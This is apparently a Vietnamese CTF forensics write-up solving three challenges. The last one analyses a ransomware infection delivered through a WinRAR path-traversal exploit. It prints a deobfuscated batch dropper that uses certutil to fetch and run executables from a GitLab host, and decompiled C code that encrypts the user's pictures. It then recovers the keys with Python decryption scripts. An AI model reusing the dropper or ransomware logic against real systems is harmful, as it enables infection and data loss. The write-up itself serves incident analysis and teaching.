## Archives URL ``` https://actvneduvn-my.sharepoint.com/:f:/g/personal/at20n0142_actvn_edu_vn/Em8izGAW6eZGo4d8k0OQT9IBeguQ9LP1aLwY2XviotzYqw?e=Y6YDGn ``` ## raito yagami ### Description ![image](https://hackmd.io/_uploads/B1xdwwCI3xg.png) ### Solution ##### Bài này cho ta 1 file excel được mã hóa bằng mật khẩu và bên cạnh đó author cung cấp mật khẩu là 123456 ![image](https://hackmd.io/_uploads/Sygr5C83xg.png) ##### Sau khi nhập mật khẩu được cho chúng ta vào được trang sheet1, tuy nhiên ở đây không có gì hết. ##### Nghĩ rằng có 1 vài sheet đã bị author ẩn đi, mình unhide bằng cách chuột phải vào `sheet1 => unhide sheet` ![image](https://hackmd.io/_uploads/BJXes0I3el.png) ##### Ở đây đã rõ có 1 sheet bị ẩn, unhide nó ra ta thu được flag ![image](https://hackmd.io/_uploads/HJ2SoAL2ex.png) ### Flag : KMACTF{unhid3_is_th3_n3w_t3chnique=))} ## Quyển sổ thiên mệnh ### Description ![image](https://hackmd.io/_uploads/ryfKPRLhlg.png) ### Solution ##### Bài này cung cấp cho chúng ta 1 file memdump dùng volatility3 để phân tích ![image](https://hackmd.io/_uploads/HJo5QOthxe.png) ##### Với plugin pslist, mình phát hiện ra 1 process Notepad.exe, ngay lập tức mình nghĩ ngay đến kĩ thuật notepad heap tuy nhiên khi kiểm tra thì không có gì ở đó cả ##### Tìm với các file *.txt cũng không có luôn ![image](https://hackmd.io/_uploads/HJUtUuY2gg.png) ##### Đoán rằng sau khi gõ xong, tác giả không lưu vào file nào mà tắt luôn hoặc cũng có thể không phải là file txt ##### Theo trình tự đó, mình tìm kiếm trên internet thì tìm thấy đường dẫn [này](https://superuser.com/questions/1856217/where-are-notepad-temp-unsaved-txt-files-located) ![image](https://hackmd.io/_uploads/r1qzDdFngl.png) ##### Từ comment của 1 người dùng nào đó mình biết được đoạn text sẽ nằm tại đây ``` C:\Users\USERNAME\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState ``` ![image](https://hackmd.io/_uploads/HJx5w_Khxg.png) ##### Tìm tiếp để hiểu rõ cấu trúc của các file ở đây, mình tìm thấy 1 trang github khá hữu ích: https://github.com/ogmini/Notepad-State-Library ![image](https://hackmd.io/_uploads/H11ntOK2gl.png) ##### Và đây là cấu trúc của nó ![image](https://hackmd.io/_uploads/rkE7cutnxg.png) ##### Okay, bây giờ dump file này về rồi đọc dữ liệu trong đó ##### Theo format đây chính là phần content ![image](https://hackmd.io/_uploads/HkA70_K2le.png) ##### Theo hint của author flag đã bị mã hóa, mình dùng Cipher Identifier của Dcode xác định loại mã hóa ![image](https://hackmd.io/_uploads/ry05ROthee.png) ![image](https://hackmd.io/_uploads/H1aoAdthgx.png) #### Flag: KMACTF{3z_challang3} ## Deception Dive ### Description ![image](https://hackmd.io/_uploads/SyV9wR8ngl.png) ### Sơ đồ tấn công ```mermaid flowchart TD A[Resume.rar độc hại<br>chứa path traversal] --> B[Lợi dụng CVE-2025-6218/8088<br>WinRAR ≤ 7.11] B --> C[Ghi avast.bat vào<br>Startup folder] C --> D[avast.bat tự động chạy<br>khi khởi động] D --> E[Tải 2 file từ GitLab<br>UtilitiesDeploy.exe + Asset.kseii] E --> F[Chạy oaep.exe<br>xử lý Asset.kseii] F --> G[Tạo AssetHelper.exe<br>ransomware chính] G --> H[Thu thập thông tin hệ thống<br>Username + ComputerName + Serial] H --> I[Tạo IV từ MD5<br>thông tin hệ thống] G --> J[Gen AES key 32-byte<br>ngẫu nhiên] G --> K[Gen RSA key pair<br>để mã hóa AES key] J --> L[Mã hóa files trong<br>Saved Pictures bằng AES-CBC] K --> M[Mã hóa AES key<br>bằng RSA] L --> N[Files bị đổi đuôi<br>.Phainon = header + ciphertext] M --> O[File .Cyrene = XOR<br>RSA key với random pad] ``` ### Solution #### Stage 1: Phân tích ban đầu ##### Bài này cung cấp cho chúng ta 1 file `.vhdx`, mở nó với FTK Imager, lướt qua lần lượt các folder của người dùng, đập vào mắt mình là 1 file Resume.rar ![image](https://hackmd.io/_uploads/B11UgxK2gl.png) ##### Tuy nhiên điều đáng ngờ là bên trong hexcode nó chứa 1 đường dẫn path traversal lạ tới file `avast.bat` nhưng khi giải nén bên trong chỉ có 1 file resume.txt ##### Tìm kiếm thông tin này trên internet, ta dễ dàng xác định được 2 CVE có liên quan đến hoạt động của file này là `CVE-2025-6218` và `CVE-2025-8088` ![image](https://hackmd.io/_uploads/rkhXWgK2gx.png) ##### Ngoài ra nếu upload lên VirusTotal cũng sẽ có thể phát hiện 2 lỗ hổng này ![image](https://hackmd.io/_uploads/r1JhbeY3ex.png) #### Stage 2: `avast.bat` file analyst ##### Theo kết quả từ [blog github `absholi7ly`](https://github.com/absholi7ly/CVE-2025-6218-WinRAR-Directory-Traversal-RCE) CVE-2025-6218 là 1 lỗ hổng directory traversal trong Winrar thay thế các tệp bên ngoài vị trí tệp được giải nén đến. Lỗ hổng nằm ở các phiên bản `WinRAR ≤ 7.11` ##### Tương tự, theo trang [viettelsecurity.com](https://viettelsecurity.com/vi/lo-hong-trong-winrar/) `CVE-2025-8088` cũng là lỗ hổng path traversal nhưng sử dụng thêm kỹ thuật Alternate Data Streams (ADS) để giấu payload bên trong một file “có vẻ bình thường” trong file nén. Ảnh hưởng đến WinRAR trước 7.13 ##### Chính vì vậy nếu victim sử dụng winrar version <= 7.11 thì ngay sau khi giải mã 1 file `avast.bat` ở `..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Castorice\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\avast.bat` ![image](https://hackmd.io/_uploads/Sk50SlFnex.png) ##### Để biết được hành vi file avast.bat làm gì, ta cần lấy được mã nguồn của nó, mình lấy bằng cách tạo 1 đường dẫn giống hệt với đường dẫn nó ghi file (Cũng có thể lấy bằng cách trích xuất ADS) ##### Tại folder Users mình tạo 1 folder tên `Castorice` và các folder bên trong nó (file .rar để ở folder song song với folder AppData) ``` C:\Users\Castorice>tree Folder PATH listing Volume serial number is 6AE1-5B92 C:. ├───AppData │ └───Roaming │ └───Microsoft │ └───Windows │ └───Start Menu │ └───Programs │ └───Startup └───Desktop ``` ##### Bởi vì lỗ hổng chỉ ảnh hưởng đến version <= 7.11 nên mình tải winrar 7.11 về và cài đặt ##### sau khi giải nén file `avast.bat` đã được tạo, tuy nhiên nó đã bị obfucate ![image](https://hackmd.io/_uploads/ByPCdeK3ll.png) ##### Dùng công cụ [batch_deobfuscator](https://github.com/DissectMalware/batch_deobfuscator) để deobfucate ```bat @cls @set "Pph=FoaOlpkqLUYyBK07DfnNZPsGIWJ4Qmj3iCXed5AEgHVb@9 8TrRxwMvtucS16z2h" @set "Khf=HXYgKhvAPSn5Mz4wfNdu8IRWex79jUpLaQmDFl@bEy qJi6GTcOst2V3kBZ1or0C" @echo off set DOWNLOADER=KCSC_GetNewestVersion set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false set TEMP = C:\Users\puncher\AppData\Local\Temp set DROPPER_OUTPUT=C:\WINDOWS\System32\oaep.exe set PAYLOAD_OUTPUT=C:\Users\puncher\AppData\Local\Temp\Asset.kseii set "BAT_PATH=~dp0avast.bat" certutil -urlcache -split -f https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false C:\WINDOWS\System32\oaep.exe >nul 2>&1 certutil -urlcache -split -f https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false C:\Users\puncher\AppData\Local\Temp\Asset.kseii >nul 2>&1 ftype KCSCPrototype="C:\WINDOWS\System32\oaep.exe" "%%1" assoc .kseii=KCSCPrototype C:\Users\puncher\AppData\Local\Temp\Asset.kseii C:\Users\puncher\AppData\Local\Temp\AssetHelper.exe timeout /t 10 del /f /q C:\WINDOWS\System32\oaep.exe timeout /t 10 del /f /q C:\Users\puncher\AppData\Local\Temp\AssetHelper.exe timeout /t 10 del /f /q ~dp0avast.bat ``` ##### Tóm tắt hoạt động của nó như sau, đoạn mã tiến hành tải 2 file từ gitlabb về và lưu thành 2 file `oaep.exe` và `Asset.kseii`, chạy file `oaep.exe` với `Asset.kseii` là đối số. Cuối cùng là xóa file`AssetHelper.exe` không xác định và `oaep.exe` ##### Trace theo timeline quanh đoạn avast.bat được tạo ![image](https://hackmd.io/_uploads/S1xPTgFhel.png) ##### Cuộc tấn công bắt đầu lúc 15:25:00, sau đó là 2 file `UtilitiesDeploy.exe` và `Asset.kseii`, ngay sau đó file `AssetHelper.exe` được tạo và các file bắt đầu bị mã hóa với đuôi `.Phainon` và `.Cyrene`. ##### Từ các dữ liệu trên có thể đoán được rằng file `AssetHelper.exe` chính là file ransomware chính và nó được drop từ file `Asset.kseii` sau khi xử lý từ file `oaep.exe` ##### Vì file `Asset.kseii` chưa bị xóa và nó được xử lý thành file exe, mình thử với các thuật toán mã hóa cơ bản như xor ![image](https://hackmd.io/_uploads/B1ywQZKnll.png) ![image](https://hackmd.io/_uploads/H1NqmZFnge.png) ##### Ta thấy sau khi xor ở đây lộ ra 1 phần của MS-DOS stub, tuy nhiên do key chưa đủ nên không thể khôi phục được hết, tiếp tục dùng know-plaintext cho ms-dos stub `This program cannot be run in DOS mode` ##### Xor với các byte của ms-dos stub bị mã hóa ![image](https://hackmd.io/_uploads/HkT6UWY2gg.png) ##### Key xor là `cafebabe`, lưu file về, sau đó dùng ida để reverse #### Stage 3: exe file analyst ```c int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v4; // rbx BOOL v5; // ebx ... WCHAR Buffer[264]; // [rsp+330h] [rbp+230h] BYREF WCHAR FileSystemNameBuffer[264]; // [rsp+540h] [rbp+440h] BYREF WCHAR VolumeNameBuffer[264]; // [rsp+750h] [rbp+650h] BYREF WCHAR WideCharStr[512]; // [rsp+960h] [rbp+860h] BYREF VolumeSerialNumber = 0; MaximumComponentLength = 0; FileSystemFlags = 0; if ( !GetVolumeInformationW( L"C:\\", VolumeNameBuffer, 0x104u, &VolumeSerialNumber, &MaximumComponentLength, &FileSystemFlags, FileSystemNameBuffer, 0x104u) ) return GetLastError(); pcbBuffer = 257; nSize = 16; if ( !GetUserNameW(Buffer, &pcbBuffer) || !GetComputerNameW(v20, &nSize) ) return GetLastError(); LODWORD(lpMaximumComponentLength) = VolumeSerialNumber; wsprintfW(WideCharStr, L"%s_%s_%08X", Buffer, v20, lpMaximumComponentLength); v4 = -1LL; WideCharToMultiByte(0xFDE9u, 0, WideCharStr, -1, MultiByteStr, 256, 0LL, 0LL); v13 = 0LL; v14 = 1732584193; v15 = -271733879; v16 = -1732584194; v17 = 271733878; do ++v4; while ( MultiByteStr[v4] ); sub_1400010D0(&v13, MultiByteStr, v4); sub_140001380(&v13); phProv = 0LL; v19 = v18; if ( !CryptAcquireContextW(&phProv, 0LL, 0LL, 1u, 0xF0000000) ) return 1; v5 = CryptGenRandom(phProv, 0x20u, pbBuffer); CryptReleaseContext(phProv, 0); if ( !v5 ) return 1; ExpandEnvironmentStringsA("%userprofile%\\Pictures\\Saved Pictures\\", Dst, 0x104u); sub_140001790(Dst, pbBuffer, &v19); return 0; } ``` ##### Tổng quan như sau: Đoạn mã tiến hành thu thập thông tin máy tính (VolumeSerialNumber, username, computer name) để ghép thành chuỗi như sau `username_computername_serial` trong đó với serial được format thành %08X ![image](https://hackmd.io/_uploads/rJZOp8Ynee.png) ##### Tiếp đó chúng tính hash md5 của chuỗi vừa tạo thông qua 2 hàm sub_1400010D0 và sub_140001380, bên cạnh đó chúng sinh 32 byte ngẫu nhiên với `CryptGenRandom` ![image](https://hackmd.io/_uploads/Hk3kCIFhgg.png) ##### Cuối cùng dùng hàm `sub_14000179` để mã hóa file trong folder `Saved Pictures` ```c int __fastcall sub_140001790(__int64 a1, __int128 *a2, const BYTE *a3) { const BYTE *v3; // r14 __int128 *v4; // rsi ... __int128 v57; // [rsp+DCh] [rbp-24h] _WIN32_FIND_DATAA FindFileData; // [rsp+F0h] [rbp-10h] BYREF BYTE pbBuffer[32]; // [rsp+230h] [rbp+130h] BYREF CHAR v60[272]; // [rsp+250h] [rbp+150h] BYREF BYTE Buffer[16]; // [rsp+360h] [rbp+260h] BYREF __int128 v62; // [rsp+370h] [rbp+270h] CHAR FileName[272]; // [rsp+460h] [rbp+360h] BYREF CHAR v64[272]; // [rsp+570h] [rbp+470h] BYREF char v65[272]; // [rsp+680h] [rbp+580h] BYREF CHAR v66[272]; // [rsp+790h] [rbp+690h] BYREF char v67[272]; // [rsp+8A0h] [rbp+7A0h] BYREF v3 = a3; v4 = a2; sub_140001070(FileName, 0x104uLL, "%s\\*"); FirstFileA = FindFirstFileA(FileName, &FindFileData); v37 = FirstFileA; v6 = FirstFileA; if ( FirstFileA == (HANDLE)-1LL ) return (int)FirstFileA; while ( 1 ) { if ( (FindFileData.dwFileAttributes & 0x10) != 0 ) goto LABEL_53; v7 = strrchr(FindFileData.cFileName, 46); v8 = v7; if ( v7 ) { if ( !stricmp(v7, ".Cyrene") || !stricmp(v8, ".Phainon") ) goto LABEL_53; } sub_140001070(v60, 0x104uLL, "%s\\%s"); Stream = 0LL; fopen_s(&Stream, v60, "rb"); if ( !Stream ) goto LABEL_53; fseek(Stream, 0, 2); v9 = (unsigned int)ftell(Stream); fseek(Stream, 0, 0); v41 = malloc((int)v9); v10 = v41; fread(v41, 1uLL, (int)v9, Stream); fclose(Stream); DeleteFileA(v60); phProv = 0LL; if ( CryptAcquireContextW(&phProv, 0LL, 0LL, 0x18u, 0xF0000000) ) break; LABEL_52: free(v10); LABEL_53: if ( !FindNextFileA(v6, &FindFileData) ) goto LABEL_57; } v11 = *v4; v12 = v4[1]; *(_DWORD *)pbData = 520; v54 = 26128; v56 = v11; v55 = 32; v57 = v12; hKey = 0LL; if ( !CryptImportKey(phProv, pbData, 0x2Cu, 0LL, 0, &hKey) ) { CryptReleaseContext(phProv, 0); goto LABEL_52; } if ( !CryptSetKeyParam(hKey, 1u, v3, 0) ) { CryptDestroyKey(hKey); CryptReleaseContext(phProv, 0); goto LABEL_52; } pdwDataLen = v9; v13 = (unsigned int)(v9 + 16); if ( (unsigned int)v9 >= 0xFFFFFFF0 ) v13 = -1LL; v42 = malloc(v13); v14 = v42; memcpy(v42, v41, v9); if ( !CryptEncrypt(hKey, 0LL, 1, 0, (BYTE *)v42, &pdwDataLen, pdwDataLen + 16) ) { CryptDestroyKey(hKey); CryptReleaseContext(phProv, 0); free(v42); LABEL_51: v3 = a3; goto LABEL_52; } v15 = pdwDataLen; LODWORD(v50) = pdwDataLen; CryptDestroyKey(hKey); CryptReleaseContext(phProv, 0); hProv = 0LL; v52 = 0LL; if ( !CryptAcquireContextW(&hProv, 0LL, 0LL, 1u, 0xF0000000) ) goto LABEL_57; if ( !CryptGenKey(hProv, 1u, 0x8000001u, &v52) ) goto LABEL_57; v16 = v4[1]; *(_OWORD *)Buffer = *v4; v62 = v16; v47 = 32; if ( !CryptEncrypt(v52, 0LL, 1, 0, Buffer, &v47, 0x100u) ) goto LABEL_57; v47 = 0; if ( CryptExportKey(v52, 0LL, 7u, 0, 0LL, &v47) ) { v18 = malloc(v47); if ( CryptExportKey(v52, 0LL, 7u, 0, (BYTE *)v18, &v47) ) { pcbEncoded = 0; CryptEncodeObjectEx(0x10000u, (LPCSTR)0x2B, v18, 0, 0LL, 0LL, &pcbEncoded); v19 = malloc(pcbEncoded); CryptEncodeObjectEx(0x10000u, (LPCSTR)0x2B, v18, 0, 0LL, v19, &pcbEncoded); pcchString = 0; CryptBinaryToStringA((const BYTE *)v19, pcbEncoded, 0x40000001u, 0LL, &pcchString); v17 = (CHAR *)malloc(pcchString); CryptBinaryToStringA((const BYTE *)v19, pcbEncoded, 0x40000001u, v17, &pcchString); free(v18); free(v19); } else { free(v18); v17 = 0LL; } } else { v17 = 0LL; } v20 = -1LL; do ++v20; while ( v17[v20] ); v21 = (char *)malloc(v20 + ((v20 + 63) >> 6) + 63); v40 = v21; v22 = v21; if ( v21 ) { v23 = 0LL; v24 = &v21[(int)sub_140001010(v21, "%s")]; if ( v20 ) { do { v25 = v20 - v23; if ( v23 + 64 < v20 ) v25 = 64LL; memcpy(v24, &v17[v23], v25); v23 += 64LL; v24[v25] = 10; v24 += v25 + 1; } while ( v23 < v20 ); v22 = v40; v10 = v41; } sub_140001010(v24, "%s"); v14 = v42; v15 = v50; } else { v22 = 0LL; } sub_140001070(v65, 0x104uLL, "%s.Cyrene"); sub_140001070(v64, 0x104uLL, "desktop.ini.Cyrene"); DeleteFileA(v64); v50 = 0LL; if ( !CryptAcquireContextW(&v50, 0LL, 0LL, 1u, 0xF0000000) || (v26 = CryptGenRandom(v50, 0x20u, pbBuffer), CryptReleaseContext(v50, 0), !v26) ) { LABEL_44: sub_140001070(v67, 0x104uLL, "%s.Phainon"); sub_140001070(v66, 0x104uLL, "desktop.ini.Phainon"); DeleteFileA(v66); fopen_s(&Stream, v67, "wb"); if ( Stream ) { fwrite(Buffer, 1uLL, 0x100uLL, Stream); fwrite(v14, 1uLL, v15, Stream); fclose(Stream); } free(v14); if ( v52 ) CryptDestroyKey(v52); if ( hProv ) CryptReleaseContext(hProv, 0); v6 = v37; v4 = a2; goto LABEL_51; } v27 = -1LL; do ++v27; while ( v22[v27] ); v28 = (char *)malloc(v27); v29 = v28; if ( !v28 ) goto LABEL_56; v30 = 0LL; if ( v27 ) { v31 = v22 - v28; do { v32 = &v29[v30]; v33 = v30++ & 0x1F; *v32 = v32[v31] ^ pbBuffer[v33]; } while ( v30 < v27 ); } v34 = fopen(v65, "wb"); v35 = v34; if ( v34 ) { fwrite(v29, 1uLL, v27, v34); fclose(v35); free(v29); goto LABEL_44; } free(v29); LABEL_56: v6 = v37; LABEL_57: LODWORD(FirstFileA) = FindClose(v6); return (int)FirstFileA; } ``` ##### Hàm thực hiện mã hóa các file trong `%userprofile%\Pictures\Saved Pictures\`: ##### Khởi tạo một key blob từ dữ liệu ở a2 (tham số 2 của hàm) và CryptImportKey(...) -> đây là 32 byte ngẫu nhiên được tạo từ hàm main ##### Tiếp đó dùng CryptEncrypt để mã hoá nội dung file (luồng dữ liệu) ##### Tiếp theo mã hóa 32-byte key đó bằng RSA key được tạo ngẫu nhiên (key rsa được xor với 32byte ngẫu nhiên và ghi vào file .Cyrene) ##### Cuối cùng ghi dữ liệu vào 2 file có đuôi `.Cyrene` và `.Phainon` ##### 2 file này có format như sau ``` *.Phainon = Header (256 bytes) + Ciphertext (rest). ``` ``` *.Cyrene = XOR( Base64( DER( exported_session_key_blob ) ), PAD32 ). ``` ![mermaid-diagram-2025-09-29-112306](https://hackmd.io/_uploads/SkdRfvF3lx.png) ##### Okay, đã hiểu cơ chế mã hóa, bây giờ chúng ta cần phải tìm được KEY aes và IV để giải mã từ file `.Phainon`. ##### Đối với IV username và computer name có thể được tìm thấy thông qua registry ![image](https://hackmd.io/_uploads/rkWeEPK3xe.png) ![image](https://hackmd.io/_uploads/r1OxNPY2el.png) ##### Đối với serial number ta có thể tìm thấy chúng trong prefetch ![image](https://hackmd.io/_uploads/By7SEwY3le.png) ##### Vì định dạng 8 kí tự nên ta thêm số 0 vào trước cho đủ => 0CF016E2 ##### Vậy IV là: md5(Castorice_DESKTOP-4I5NKD0_0CF016E2) = b51d8275fed87e665767bc24bf67a5a2 ##### Đến với aes key, ta có thể lấy được nếu khôi phục được RSA private key. Bởi vì dữ liệu nó bị xor và lưu lại trong file `*.Cyrene` ##### Cộng thêm việc biết được private key có `Header` không đổi là `-----BEGIN RSA PRIVATE KEY-----` vì vậy đã đến lúc dùng kĩ thuật Known-plaintext. Mình viết script nhỏ để tìm ```python import sys def xor_decrypt(data, key): return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) def try_pem(data, key): try: txt = data.decode('utf-8', errors='ignore') if 'BEGIN RSA PRIVATE KEY' in txt: print("KEY:", key.hex()) print(txt.strip()) return True except: pass return False def brute_force_pem(enc, key_size=32): found = [] patterns = [b'-----BEGIN RSA PRIVATE KEY-----\n'] for pat in patterns: if len(enc) < len(pat): continue key = bytearray(key_size) for i in range(min(len(pat), key_size)): key[i] = enc[i] ^ pat[i] dec = xor_decrypt(enc, bytes(key)) if try_pem(dec, bytes(key)): found.append((bytes(key), dec)) for k in range(256): key = bytes([k]) * key_size dec = xor_decrypt(enc, key) if try_pem(dec, key): found.append((key, dec)) return found def main(): if len(sys.argv) < 2: print("Usage: python find_pem.py <file.Cyrene>") return fn = sys.argv[1] enc = open(fn,"rb").read() results = brute_force_pem(enc) if results: print(f"FOUND {len(results)} PEM keys") else: print("NO PEM FOUND") if __name__ == "__main__": main() ``` ##### Sau khi chạy mình tìm thấy private key và xor key ![image](https://hackmd.io/_uploads/HJZeFPKheg.png) ##### Okay, viết script giải mã AES key ```python import sys, os, time, base64 from Crypto.PublicKey import RSA from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def read_all(path): with open(path,"rb") as f: return f.read() def write_all(path, b): with open(path,"wb") as f: f.write(b) def base64_with_newlines64(b: bytes) -> bytes: s = base64.b64encode(b).decode('ascii') parts = [s[i:i+64] for i in range(0, len(s), 64)] return ("\n".join(parts) + ("\n" if len(parts)>0 else "")).encode('ascii') def check_pkcs1_v1_5_em(em: bytes, expected_msg_len: int = 32): if len(em) < 11: return False, None if em[0] != 0x00 or em[1] != 0x02: return False, None try: sep_idx = em.index(0x00, 2) except ValueError: return False, None ps_len = sep_idx - 2 if ps_len < 8: return False, None m = em[sep_idx+1:] if len(m) != expected_msg_len: return False, None if any(x == 0x00 for x in em[2:sep_idx]): return False, None return True, m def try_raw_rsa_decrypt_block(priv_n, priv_d, enc_block_bytes): c = int.from_bytes(enc_block_bytes, 'big') m_int = pow(c, priv_d, priv_n) k = (priv_n.bit_length() + 7)//8 em = m_int.to_bytes(k, 'big') return em def try_decrypt_with_session(session_key: bytes, iv16: bytes, enc_body: bytes): try: cipher = AES.new(session_key, AES.MODE_CBC, iv=iv16) pt_padded = cipher.decrypt(enc_body) pt = unpad(pt_padded, 16) return True, pt except Exception as e: return False, str(e) def main(): if len(sys.argv) != 5: print("Usage: {} Phainon Cyrene private_key.pem out".format(sys.argv[0]), file=sys.stderr) return 2 ph_path, cy_path, key_path, out_path = sys.argv[1:5] print("[*] Loading files...") ph = read_all(ph_path) cy = read_all(cy_path) keydata = read_all(key_path) if not ph: print("Cannot read Phainon", file=sys.stderr); return 3 if not cy: print("Cannot read Cyrene", file=sys.stderr); return 3 if not keydata: print("Cannot read key", file=sys.stderr); return 3 try: priv = RSA.import_key(keydata) except Exception as e: print("Failed to import private key:", e, file=sys.stderr); return 4 n = priv.n d = priv.d k = (n.bit_length() + 7)//8 print("[*] RSA modulus length (bytes):", k) if len(ph) <= k: print("[*] Phainon too small to contain RSA block", file=sys.stderr); return 5 pub_der = priv.publickey().export_key(format='DER') pub_b64_nl = base64_with_newlines64(pub_der) L = min(len(pub_b64_nl), len(cy)) if L == 0: print("Zero length for pub_b64_nl or cyrene", file=sys.stderr); return 6 xored = bytes([cy[i] ^ pub_b64_nl[i] for i in range(L)]) pb = bytearray(32) for i in range(min(32, len(xored))): pb[i] = xored[i] iv16 = bytes(pb[:16]) print("[*] Recovered pbBuffer (first 32 hex):", bytes(pb).hex()) periodic = all(xored[i] == pb[i % 32] for i in range(L)) if not periodic: print("[!] XOR stream not perfectly 32-periodic; using first 32 bytes as pbBuffer") enc_len = len(ph) max_pos = enc_len - k print("[*] Scanning Phainon length", enc_len, "for RSA-size blocks (k=", k, ")") start_time = time.time() cnt = 0 found_any = False candidate_msg_lens = (32, 16, 24) for pos in range(0, max_pos+1): cnt += 1 if cnt % 1000000 == 0: t = time.time() - start_time print(f" scanned {pos}/{max_pos} ({pos/max_pos:.2%}) elapsed {t:.1f}s") block = ph[pos:pos+k] for orientation, enc in (("big", block), ("rev", block[::-1])): try: em = try_raw_rsa_decrypt_block(n, d, enc) except Exception: continue for msg_len in candidate_msg_lens: ok, msg = check_pkcs1_v1_5_em(em, expected_msg_len=msg_len) if ok: print("\n[+] PKCS#1 v1.5 detected at pos", pos, "orientation", orientation, "msg_len", msg_len) print(" EM (hex, first 64):", em[:64].hex()) print(" candidate session (hex):", msg.hex()) if len(msg) in (16,24,32): enc_body = ph[pos+k:] print(" Trying AES-CBC decrypt with key length", len(msg), "IV (first 16 pb):", iv16.hex()) ok_dec, pt_or_err = try_decrypt_with_session(msg, iv16, enc_body) if ok_dec: print("[+] AES decrypt succeeded with candidate at pos", pos, "orientation", orientation) write_all(out_path, pt_or_err) print("[+] Written recovered plaintext to", out_path) return 0 else: print(" AES decrypt failend (padding/incorrect):", pt_or_err) else: print(" Candidate key length not valid for AES:", len(msg)) found_any = True elapsed = time.time() - start_time print("\n[*] Scan complete. total scanned offsets:", max_pos+1, "elapsed:", elapsed, "seconds") if not found_any: print("[!] No PKCS#1 v1.5 blocks with 32/24/16-byte message found in whole Phainon.") else: print("[*] Found PKCS#1-like blocks, but none produced successful AES decrypt with current IV/pbBuffer.") return 1 if __name__ == "__main__": sys.exit(main()) ``` ##### Đoạn script này hoạt động theo cách lấy pbBuffer bằng cách XOR Cyrene với base64(DER(pubkey)) (LF mỗi 64) và dùng 16B đầu làm IV. ##### Quét Phainon mọi offset theo khối kích thước modulus RSA, với cả block thường và block[::-1]. ##### Với mỗi block: tính EM = c^d mod n, nếu khớp PKCS#1 v1.5 (0x00 0x02 ... 0x00 M) và M dài 16/24/32 thì thử AES-CBC(M, IV) lên phần body; unpad thành công => ghi plaintext. ![image](https://hackmd.io/_uploads/BkKNovF2xe.png) ##### Okay, khôi phục thành công, giờ thì giải mã thôi ```python from Crypto.Cipher import AES from Crypto.Util.Padding import unpad key = bytes.fromhex("01adf921337480cde4c28f62a0000efc81b0f712ef81b4eb4ac6608980b943a8") iv = bytes.fromhex("b51d8275fed87e665767bc24bf67a5a2") with open("Secret.png.Phainon", "rb") as f: data = f.read()[256:] cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(data), AES.block_size) with open("Decrypted_Secret.png", "wb") as f: f.write(plaintext) ``` ##### Sau khi giải mã file Secret.png ta thu được flag ![image](https://hackmd.io/_uploads/rk4sMOFhlx.png) #### Flag: KMACTF{1_Forensics_kho_la_1_Forensics_nang_Reverse:D}